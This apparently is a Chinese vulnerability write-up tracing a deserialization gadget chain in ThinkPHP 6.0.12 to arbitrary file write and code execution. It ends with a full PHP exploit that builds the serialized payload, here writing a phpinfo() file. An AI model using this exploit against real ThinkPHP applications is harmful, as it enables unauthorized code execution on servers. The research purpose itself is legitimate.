前人种树,后人乘凉
根据@Morouu师傅的eval反序列化利用链
继续挖掘
测试版本:Thinkphp6.0.12
环境配置(tp6只支持用composer安装)
composer create-project topthink/think=6.0.12 tp612
添加反序列化入口
@Morouu
师傅的链子调用到了任意类的__call
方法,并且可以传入一个可控的参数,
我们继续搜索__call
函数看看还有没有其他利用点,定位到了Output
类中的__call
方法
满足$method
在$this->style
中即可调用到自身的block()
函数,跟进查看
调用了$this->writelen()
并且$message
参数可控,接着又调用了$this->write()
函数($message参数可控),继续跟进。
这里调用到了任意类的write()
方法,全局搜索write()
方法
选择了League\Flysystem\File
类中的write()
方法,
这里同样可以调用到任意类的write()
方法,并且可控参数变成了两个($content就是我们传入的$message)
,继续搜索write()
方法,并且传入参数小于等于两个。
这里选择了think\session\driver\File
类中的write()
方法,
传入参数恰好是两个,绕过if
条件,不压缩传入的payload
,进入$this->writeFile()
方法,并且两个参数全部可控,跟进查看,
直接执行了file_put_contents()
任意文件写入,成功RCE
接下来构造exp,利用@Morouu
师傅的链子进行修改。
前面的链子不用动,从调用__call
方法的链子进行修改,
首先调用think\console\__call
方法,$this->style
赋值['getDomainBind']
进入block
方法,
跟进write()
方法,这里调用League\Flysystem\File
类的write
方法 ,将$this->handle
赋值new League\Flysystem\File
这里调用think\session\driver\File
的write()
方法,将$this->filesystem
赋值new think\session\driver\File
跟进$this->getFileName()
函数,看看如何给$filename
赋值,
让$this->config['prefix']
为空,进入if
条件,只拼接sess_
前缀,$this->config['path']
也为空,写入根目录,然后return $filename
,继续往下看
让$this->config['data_compress']
为False
不进入if
条件进行数据压缩,跟进$this->writeFile($filename, $data);
便直接写入。
构造完整exp
<?php namespace think\model\concern{ trait Attribute{ private $data = ['huahua']; } } namespace think\view\driver{ class Php{} } namespace think\session\driver{ class File{ } } namespace League\Flysystem{ class File{ protected $path; protected $filesystem; public function __construct($File){ $this->path='huahua.php'; $this->filesystem=$File; } } } namespace think\console{ use League\Flysystem\File; class Output{ protected $styles=[]; private $handle; public function __construct($File){ $this->styles[]='getDomainBind'; $this->handle=new File($File); } } } namespace think{ abstract class Model{ use model\concern\Attribute; private $lazySave; protected $withEvent; protected $table; function __construct($cmd,$File){ $this->lazySave = true; $this->withEvent = false; $this->table = new route\Url(new Middleware,new console\Output($File),$cmd); } } class Middleware{ public $request = 2333; } } namespace think\model{ use think\Model; class Pivot extends Model{} } namespace think\route{ class Url { protected $url = 'a:'; protected $domain; protected $app; protected $route; function __construct($app,$route,$cmd){ $this->domain = $cmd; $this->app = $app; $this->route = $route; } } } namespace{ echo urlencode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>',new think\session\driver\File))); }
成功写入